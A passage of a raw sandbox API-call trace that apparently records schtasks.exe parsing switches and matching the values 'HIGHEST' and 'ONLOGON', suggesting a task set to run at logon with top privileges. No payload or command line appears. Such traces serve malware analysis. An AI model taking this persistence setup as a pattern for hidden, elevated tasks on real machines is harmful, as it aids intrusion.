(lpString="s") returned 1 [0062.217] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.217] lstrlenW (lpString="f") returned 1 [0062.217] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.217] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|s|") returned 3 [0062.217] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.217] lstrlenW (lpString="|s|") returned 3 [0062.217] lstrlenW (lpString="|f|") returned 3 [0062.217] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0062.217] SetLastError (dwErrCode=0x490) [0062.217] lstrlenW (lpString="u") returned 1 [0062.217] lstrlenW (lpString="u") returned 1 [0062.217] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.217] lstrlenW (lpString="f") returned 1 [0062.217] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.217] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|u|") returned 3 [0062.217] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.218] lstrlenW (lpString="|u|") returned 3 [0062.218] lstrlenW (lpString="|f|") returned 3 [0062.218] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0062.218] SetLastError (dwErrCode=0x490) [0062.218] lstrlenW (lpString="p") returned 1 [0062.218] lstrlenW (lpString="p") returned 1 [0062.218] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.218] lstrlenW (lpString="f") returned 1 [0062.218] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.218] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|p|") returned 3 [0062.218] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.218] lstrlenW (lpString="|p|") returned 3 [0062.218] lstrlenW (lpString="|f|") returned 3 [0062.218] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0062.218] SetLastError (dwErrCode=0x490) [0062.218] lstrlenW (lpString="ru") returned 2 [0062.218] lstrlenW (lpString="ru") returned 2 [0062.218] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.218] lstrlenW (lpString="f") returned 1 [0062.218] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.218] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ru|") returned 4 [0062.218] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.218] lstrlenW (lpString="|ru|") returned 4 [0062.218] lstrlenW (lpString="|f|") returned 3 [0062.218] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0062.218] SetLastError (dwErrCode=0x490) [0062.218] lstrlenW (lpString="rp") returned 2 [0062.218] lstrlenW (lpString="rp") returned 2 [0062.218] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.218] lstrlenW (lpString="f") returned 1 [0062.218] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.219] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rp|") returned 4 [0062.219] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.219] lstrlenW (lpString="|rp|") returned 4 [0062.219] lstrlenW (lpString="|f|") returned 3 [0062.219] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0062.219] SetLastError (dwErrCode=0x490) [0062.219] lstrlenW (lpString="sc") returned 2 [0062.219] lstrlenW (lpString="sc") returned 2 [0062.219] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.219] lstrlenW (lpString="f") returned 1 [0062.219] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.219] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.219] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.219] lstrlenW (lpString="|sc|") returned 4 [0062.219] lstrlenW (lpString="|f|") returned 3 [0062.219] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0062.219] SetLastError (dwErrCode=0x490) [0062.219] lstrlenW (lpString="mo") returned 2 [0062.219] lstrlenW (lpString="mo") returned 2 [0062.219] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.219] lstrlenW (lpString="f") returned 1 [0062.219] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.219] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|mo|") returned 4 [0062.219] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.219] lstrlenW (lpString="|mo|") returned 4 [0062.219] lstrlenW (lpString="|f|") returned 3 [0062.219] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0062.219] SetLastError (dwErrCode=0x490) [0062.219] lstrlenW (lpString="d") returned 1 [0062.219] lstrlenW (lpString="d") returned 1 [0062.219] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.220] lstrlenW (lpString="f") returned 1 [0062.220] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.220] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|d|") returned 3 [0062.220] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.220] lstrlenW (lpString="|d|") returned 3 [0062.220] lstrlenW (lpString="|f|") returned 3 [0062.220] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0062.220] SetLastError (dwErrCode=0x490) [0062.220] lstrlenW (lpString="m") returned 1 [0062.220] lstrlenW (lpString="m") returned 1 [0062.220] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.220] lstrlenW (lpString="f") returned 1 [0062.220] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.220] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|m|") returned 3 [0062.220] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.220] lstrlenW (lpString="|m|") returned 3 [0062.220] lstrlenW (lpString="|f|") returned 3 [0062.220] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0062.220] SetLastError (dwErrCode=0x490) [0062.220] lstrlenW (lpString="i") returned 1 [0062.220] lstrlenW (lpString="i") returned 1 [0062.220] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.220] lstrlenW (lpString="f") returned 1 [0062.220] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.220] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|i|") returned 3 [0062.220] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.220] lstrlenW (lpString="|i|") returned 3 [0062.220] lstrlenW (lpString="|f|") returned 3 [0062.220] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0062.221] SetLastError (dwErrCode=0x490) [0062.221] lstrlenW (lpString="tn") returned 2 [0062.222] lstrlenW (lpString="tn") returned 2 [0062.222] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.222] lstrlenW (lpString="f") returned 1 [0062.222] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.222] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.222] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.222] lstrlenW (lpString="|tn|") returned 4 [0062.222] lstrlenW (lpString="|f|") returned 3 [0062.222] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0062.222] SetLastError (dwErrCode=0x490) [0062.222] lstrlenW (lpString="tr") returned 2 [0062.222] lstrlenW (lpString="tr") returned 2 [0062.222] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.222] lstrlenW (lpString="f") returned 1 [0062.222] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.222] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tr|") returned 4 [0062.222] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.222] lstrlenW (lpString="|tr|") returned 4 [0062.222] lstrlenW (lpString="|f|") returned 3 [0062.222] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0062.222] SetLastError (dwErrCode=0x490) [0062.222] lstrlenW (lpString="st") returned 2 [0062.222] lstrlenW (lpString="st") returned 2 [0062.222] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.222] lstrlenW (lpString="f") returned 1 [0062.222] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.222] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|st|") returned 4 [0062.222] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.222] lstrlenW (lpString="|st|") returned 4 [0062.222] lstrlenW (lpString="|f|") returned 3 [0062.223] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0062.223] SetLastError (dwErrCode=0x490) [0062.223] lstrlenW (lpString="sd") returned 2 [0062.223] lstrlenW (lpString="sd") returned 2 [0062.223] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.223] lstrlenW (lpString="f") returned 1 [0062.223] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.223] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sd|") returned 4 [0062.223] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.223] lstrlenW (lpString="|sd|") returned 4 [0062.223] lstrlenW (lpString="|f|") returned 3 [0062.223] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0062.223] SetLastError (dwErrCode=0x490) [0062.223] lstrlenW (lpString="ed") returned 2 [0062.223] lstrlenW (lpString="ed") returned 2 [0062.223] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.223] lstrlenW (lpString="f") returned 1 [0062.223] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.223] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ed|") returned 4 [0062.223] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.223] lstrlenW (lpString="|ed|") returned 4 [0062.223] lstrlenW (lpString="|f|") returned 3 [0062.223] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0062.223] SetLastError (dwErrCode=0x490) [0062.223] lstrlenW (lpString="it") returned 2 [0062.223] lstrlenW (lpString="it") returned 2 [0062.223] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.223] lstrlenW (lpString="f") returned 1 [0062.223] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.223] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|it|") returned 4 [0062.223] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.224] lstrlenW (lpString="|it|") returned 4 [0062.224] lstrlenW (lpString="|f|") returned 3 [0062.224] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0062.224] SetLastError (dwErrCode=0x490) [0062.224] lstrlenW (lpString="et") returned 2 [0062.224] lstrlenW (lpString="et") returned 2 [0062.224] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.224] lstrlenW (lpString="f") returned 1 [0062.224] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.224] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|et|") returned 4 [0062.224] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.224] lstrlenW (lpString="|et|") returned 4 [0062.224] lstrlenW (lpString="|f|") returned 3 [0062.224] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0062.224] SetLastError (dwErrCode=0x490) [0062.224] lstrlenW (lpString="k") returned 1 [0062.224] lstrlenW (lpString="k") returned 1 [0062.224] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.224] lstrlenW (lpString="f") returned 1 [0062.224] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.224] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|k|") returned 3 [0062.224] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.224] lstrlenW (lpString="|k|") returned 3 [0062.224] lstrlenW (lpString="|f|") returned 3 [0062.224] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0062.224] SetLastError (dwErrCode=0x490) [0062.224] lstrlenW (lpString="du") returned 2 [0062.224] lstrlenW (lpString="du") returned 2 [0062.224] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.224] lstrlenW (lpString="f") returned 1 [0062.224] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.224] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|du|") returned 4 [0062.225] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.225] lstrlenW (lpString="|du|") returned 4 [0062.225] lstrlenW (lpString="|f|") returned 3 [0062.225] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0062.225] SetLastError (dwErrCode=0x490) [0062.225] lstrlenW (lpString="ri") returned 2 [0062.225] lstrlenW (lpString="ri") returned 2 [0062.225] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.225] lstrlenW (lpString="f") returned 1 [0062.225] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.225] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ri|") returned 4 [0062.225] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.225] lstrlenW (lpString="|ri|") returned 4 [0062.225] lstrlenW (lpString="|f|") returned 3 [0062.225] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0062.225] SetLastError (dwErrCode=0x490) [0062.225] lstrlenW (lpString="z") returned 1 [0062.225] lstrlenW (lpString="z") returned 1 [0062.225] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.225] lstrlenW (lpString="f") returned 1 [0062.225] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.225] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|z|") returned 3 [0062.225] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.225] lstrlenW (lpString="|z|") returned 3 [0062.225] lstrlenW (lpString="|f|") returned 3 [0062.225] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0062.225] SetLastError (dwErrCode=0x490) [0062.225] lstrlenW (lpString="f") returned 1 [0062.225] lstrlenW (lpString="f") returned 1 [0062.225] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.225] lstrlenW (lpString="f") returned 1 [0062.225] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.226] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.226] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|f|") returned 3 [0062.226] lstrlenW (lpString="|f|") returned 3 [0062.226] lstrlenW (lpString="|f|") returned 3 [0062.226] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0062.226] SetLastError (dwErrCode=0x0) [0062.226] SetLastError (dwErrCode=0x0) [0062.226] GetProcessHeap () returned 0x170000 [0062.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce30 [0062.226] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.226] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0062.226] lstrlenW (lpString="LIMITED") returned 7 [0062.226] GetProcessHeap () returned 0x170000 [0062.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d680 [0062.226] GetThreadLocale () returned 0x409 [0062.226] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0062.226] GetProcessHeap () returned 0x170000 [0062.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce00 [0062.226] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.226] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0062.226] lstrlenW (lpString="HIGHEST") returned 7 [0062.226] GetProcessHeap () returned 0x170000 [0062.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d6a0 [0062.226] GetThreadLocale () returned 0x409 [0062.226] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0062.226] GetProcessHeap () returned 0x170000 [0062.226] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdd0 [0062.227] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.227] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0062.227] lstrlenW (lpString="MINUTE") returned 6 [0062.227] GetProcessHeap () returned 0x170000 [0062.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d6c0 [0062.227] GetThreadLocale () returned 0x409 [0062.227] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0062.227] GetProcessHeap () returned 0x170000 [0062.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cda0 [0062.227] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.227] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0062.227] lstrlenW (lpString="HOURLY") returned 6 [0062.227] GetProcessHeap () returned 0x170000 [0062.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d6e0 [0062.227] GetThreadLocale () returned 0x409 [0062.227] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0062.227] GetProcessHeap () returned 0x170000 [0062.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd70 [0062.227] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.227] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0062.227] lstrlenW (lpString="DAILY") returned 5 [0062.227] GetProcessHeap () returned 0x170000 [0062.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc) returned 0x18d700 [0062.227] GetThreadLocale () returned 0x409 [0062.227] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0062.227] GetProcessHeap () returned 0x170000 [0062.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd40 [0062.227] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.227] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0062.227] lstrlenW (lpString="WEEKLY") returned 6 [0062.227] GetProcessHeap () returned 0x170000 [0062.227] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d720 [0062.227] GetThreadLocale () returned 0x409 [0062.227] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0062.228] GetProcessHeap () returned 0x170000 [0062.228] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd10 [0062.228] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.228] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0062.228] lstrlenW (lpString="MONTHLY") returned 7 [0062.228] GetProcessHeap () returned 0x170000 [0062.228] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d740 [0062.228] GetThreadLocale () returned 0x409 [0062.228] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0062.228] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.228] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0062.228] lstrlenW (lpString="ONCE") returned 4 [0062.228] GetProcessHeap () returned 0x170000 [0062.228] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa) returned 0x18d760 [0062.228] GetThreadLocale () returned 0x409 [0062.228] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0062.228] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.228] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0062.228] lstrlenW (lpString="ONSTART") returned 7 [0062.228] GetThreadLocale () returned 0x409 [0062.228] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0062.228] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.228] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0062.228] lstrlenW (lpString="ONLOGON") returned 7 [0062.228] GetThreadLocale () returned 0x409 [0062.228] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0062.228] SetLastError (dwErrCode=0x0) [0062.228] GetProcessHeap () returned 0x170000 [0062.228] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x1fc) returned 0x18c430 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0062.229] lstrlenW (lpString="First") returned 5 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0062.229] lstrlenW (lpString="Second") returned 6 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0062.229] lstrlenW (lpString="Third") returned 5 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0062.229] lstrlenW (lpString="Fourth") returned 6 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0062.229] lstrlenW (lpString="Last") returned 4 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0062.229] lstrlenW (lpString="First") returned 5 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0062.229] lstrlenW (lpString="Second") returned 6 [0062.229] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.229] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x18d3c0, 